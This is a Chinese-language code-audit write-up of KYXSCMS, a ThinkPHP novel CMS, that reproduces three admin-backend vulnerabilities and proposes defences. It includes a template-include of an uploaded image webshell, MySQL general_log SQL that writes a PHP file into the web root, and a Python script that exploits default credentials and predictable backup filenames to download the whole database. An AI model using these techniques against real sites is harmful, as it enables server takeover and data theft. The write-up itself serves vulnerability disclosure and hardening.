狂雨cms代碼審計:后台文件包含getshell


狂雨cms是款小說cms,照例先是網站介紹

網站介紹

狂雨小說內容管理系統(以下簡稱KYXSCMS)提供一個輕量級小說網站解決方案,基於ThinkPHP5.1+MySQL的技術開發。
KYXSCMS,靈活,方便,人性化設計簡單易用是最大的特色,是快速架設小說類網站首選,只需5分鍾即可建立一個海量小說的行業網站,批量采集目標網站數據或使用數據聯盟,即可自動采集獲取大量數據。內置標簽模版,即使不懂代碼的前端開發者也可以快速建立一個漂亮的小說網站。

建站


手動創建數據庫,這里庫名為kycms

填好信息進行安裝

安裝完成,直接進入后台
admin admin

漏洞復現

文件包含

后台可以修改模板文件,在模板文件中調用模板代碼可實現文件包含

首先在設置中上傳logo處,上傳圖片馬,需要注意不能是用戶的頭像上傳處上傳木馬,因為頭像會進行縮放,導致文件內容被修改

上傳成功后會返回路徑,圖片馬內容為<?php phpinfo(); ?>,需要注意php代碼必須包含最后的?>,否則會報語法錯誤

進入模板功能處,在index.html,即主頁模板中添加模板代碼,同樣需要注意,路徑不能以/開頭,否則會被找不到錯誤

{include file="uploads/config/20200325/033966a7d27975812915522464e252a3.jpg" /}


接着打開主頁,即可看到phpinfo信息

SQL代碼執行

后台存在SQL代碼執行功能

但secure_file_priv設置為空,無法導出文件,可以利用general_log進行getshell

依次執行以下代碼

set global general_log=On;
set global general_log_file="D:\\phpstudy_pro\\WWW\\123.php";
create table tmp (value varchar(25));
insert into tmp (value) values ("<?php phpinfo(); ?>");
drop table tmp;
set global general_log=Off;


得到general_log,內容如圖所示,至於為什么要用create而不用select,后面會解釋

訪問即可看到phpinfo

后台數據泄露

后台可以直接備份數據庫,備份后為.sql.gz文件(可以在設置里更改是否壓縮),文件名為time函數生成的時間戳,可直接爆破進行下載,這里先附上exp(因為不會進行驗證碼的識別,所以修改了代碼將驗證部分注釋掉了,師傅們見諒~)

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests
import time

def getDatabase(url,username, password):
    session = requests.session()

    u = 'http://%s/admin/index/login.html' % (url)
    head = {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
    }
    data = {
        'username': username,
        'password': password,
        'code': 1
    }
    session.post(u, data, headers = head)

    u = 'http://%s/admin/database/export.html' % (url)
    data = {
        'layTableCheckbox':'on',
        'tables[0]':'ky_ad',
        'tables[1]':'ky_addons',
        'tables[2]':'ky_bookshelf',
        'tables[3]':'ky_category',
        'tables[4]':'ky_collect',
        'tables[5]':'ky_comment',
        'tables[6]':'ky_config',
        'tables[7]':'ky_crontab',
        'tables[8]':'ky_link',
        'tables[9]':'ky_member',
        'tables[10]':'ky_menu',
        'tables[11]':'ky_news',
        'tables[12]':'ky_novel',
        'tables[13]':'ky_novel_chapter',
        'tables[14]':'ky_route',
        'tables[15]':'ky_slider',
        'tables[16]':'ky_template',
        'tables[17]':'ky_user',
        'tables[18]':'ky_user_menu'
    }
    t = time.strftime("%Y%m%d-%H%M%S", time.localtime())

    session.post(u, data = data)

    for i in range(0, 19):
        u2 = 'http://%s/admin/database/export.html?id=%s&start=0' % (url, str(i))
        session.get(u2)

    t = 'http://' + url + '/public/database/' + t + '-1.sql.gz'
    return t

if __name__ == '__main__':
    u = '127.0.0.1'
    username = 'admin'
    password = 'admin'
    t = getDatabase(u, username, password)
    print(t)

運行代碼,得到路徑(默認生成路徑為/public/database/,可在設置中修改)

直接訪問下載

可以看到所有數據庫信息全在了

說實話,個人感覺這樣這種功能弊遠大於利,真想實現不如將文件名命名為隨機字符串,然后只能在服務器上改動,或者說生成之后給管理員的郵箱發送消息告知文件名,否則還是不要的好

代碼審計

首先還是先看代碼結構

addons          插件代碼
application     主要后端代碼
config          配置文件
extend          一些基礎類文件
public          靜態文件
route           路由
runtime         主要是緩存
template        模板文件
thinkphp        thinkphp
uploads         上傳文件

主要的審計中心放在application下

文件包含

主要是提供了可修改模板功能,然后利用thinkphp的模板語法進行文件包含

主要代碼

application/admin/controller/Template.php->edit()

public function edit(){
        $Template=model('template');
        $data=$this->request->post();
        if($this->request->isPost()){
            $res = $Template->edit($data);
            if($res  !== false){
                return $this->success('模版文件修改成功!',url('index'));
            } else {
                $this->error($Template->getError());
            }
        }else{
            $path=urldecode($this->request->param('path'));
            $info=$Template->file_info($path);
            $this->assign('path',$path);
            $this->assign('content',$info);
            $this->assign('meta_title','修改模版文件');
            return $this->fetch();
        }
    }

跟入edit函數

application/admin/model/Template.php->edit()

public function edit($data){
        return File::put($data['path'],$data['content']);
    }

繼續跟入

extend/org/File.php

static public function put($filename,$content,$type=''){
        $dir   =  dirname($filename);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
        if(false === file_put_contents($filename,$content)){
            throw new \think\Exception('文件寫入錯誤:'.$filename);
        }else{
            self::$contents[$filename]=$content;
            return true;
        }
    }

可以看到這里沒經過任何過濾,直接進行了寫入。關於這里的模板功能,肯定還有其他利用方式,就靠師傅們自己去測試了

防御方法

針對該處漏洞的防御,覺得還是對上傳進行過濾比較容易,比如說進行內容的檢查,或者對圖片進行一定的改動譬如縮放,從而破壞圖片馬的結構,不過只是治標不治本,一旦找到新的上傳方式,還是會被利用。

SQL代碼執行
application/admin/controller/Tool.php->sqlexecute()

public function sqlexecute(){
        if($this->request->isPost()){
            $sql=$this->request->param('sql');
            if(!empty($sql)){
                $sql = str_replace('{pre}',Config::get('database.prefix'),$sql);
                //查詢語句返回結果集
                if(strtolower(substr($sql,0,6))=="select"){

                }
                else{
                    $return = Db::execute($sql);
                }
            }
            return $this->success('執行完成');
        }else{
            $this->assign('meta_title','SQL語句執行');
            return $this->fetch();
        }
    }

Db是thinkphp內置類,可以看到前六個字符是select的話其實什么都沒有執行。。。報錯的話無法存入log中,所以用了create

防御方法

針對傳入的語句進行限制,比如只能進行查詢操作。建議最好還是直接取消這個功能,對SQL的操作直接在服務器上進行,放在后台實在是弊大於利,

數據泄露
application/admin/controller/Database.php->export()

public function export($tables = null, $id = null, $start = null){
        if($this->request->isPost() && !empty($tables) && is_array($tables)){ //初始化
            ......

            //生成備份文件信息
            $file = [
                'name' => date('Ymd-His', time()),
                'part' => 1,
            ];

            ......

            //創建備份文件
            $Database = new Databasec($file, $config);
            if(false !== $Database->create()){
                $tab = ['id' => 0, 'start' => 0];
                $this->success('初始化成功!', '', ['tables' => $tables, 'tab' => $tab]);
            } else {
                $this->error('初始化失敗,備份文件創建失敗!');
            }

            ......

        } elseif ($this->request->isGet() && is_numeric($id) && is_numeric($start)) { //備份數據

            ......

        } else {
            $this->error('請指定要備份的表!');
        }
    }

跟進Databasec類

extend/databasec/Databasec.php->create()

public function __construct($file, $config, $type = 'export'){
        $this->file   = $file;
        $this->config = $config;
    }

public function create(){
        $sql  = "-- -----------------------------\n";
        $sql .= "-- Think MySQL Data Transfer \n";
        $sql .= "-- \n";
        $sql .= "-- Host     : " . config('database.hostname') . "\n";
        $sql .= "-- Port     : " . config('database.hostport') . "\n";
        $sql .= "-- Database : " . config('database.database') . "\n";
        $sql .= "-- \n";
        $sql .= "-- Part : #{$this->file['part']}\n";
        $sql .= "-- Date : " . date("Y-m-d H:i:s") . "\n";
        $sql .= "-- -----------------------------\n\n";
        $sql .= "SET FOREIGN_KEY_CHECKS = 0;\n\n";
        return $this->write($sql);
    }

繼續跟進write函數

extend/databasec/Databasec.php->write()

private function write($sql){
        $size = strlen($sql);

        //由於壓縮原因,無法計算出壓縮后的長度,這里假設壓縮率為50%,
        //一般情況壓縮率都會高於50%;
        $size = $this->config['compress'] ? $size / 2 : $size;

        $this->open($size);

        return $this->config['compress'] ? @gzwrite($this->fp, $sql) : @fwrite($this->fp, $sql);
    }

跟進open函數

extend/databasec/Databasec.php->open()

private function open($size){
        if($this->fp){
            $this->size += $size;
            if($this->size > $this->config['part']){
                $this->config['compress'] ? @gzclose($this->fp) : @fclose($this->fp);
                $this->fp = null;
                $this->file['part']++;
                session('backup_file', $this->file);
                $this->create();
            }
        } else {
            $backuppath = $this->config['path'];
            $filename   = "{$backuppath}{$this->file['name']}-{$this->file['part']}.sql";
            if($this->config['compress']){
                $filename = "{$filename}.gz";
                $this->fp = @gzopen($filename, "a{$this->config['level']}");
            } else {
                $this->fp = @fopen($filename, 'a');
            }
            $this->size = filesize($filename) + $size;
        }
    }

可以看到文件名由file['name']+-+file['part']+.sql(.gz)組成,name是格式化后的time,part為1,因此可直接爆破文件名,從而泄露數據庫

防御方法

利用隨機數生成文件名,然后發送郵件至管理員郵箱或發送短信至手機,增加爆破難度

后記

之前的計划泡湯了,因為想用docker去做這個項目,然后發現大部分cms說是支持Linux,但真放上去都有大大小小的問題,比如最常見的就是路徑,文件名是首字母大寫其余小寫,然而代碼里全部用的小寫。。當時安裝的時候就一直加載無法安裝,找了半天沒找到錯誤,最后發現是寫了個while,改完安裝完界面還崩了。。直接就沒法用。項目只好泡湯。

再說這次的cms,其實這幾個漏洞都是后台的功能被惡意利用導致的,出發點是好的,但沒有做好限制,也是給自己提個醒,以后注意。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM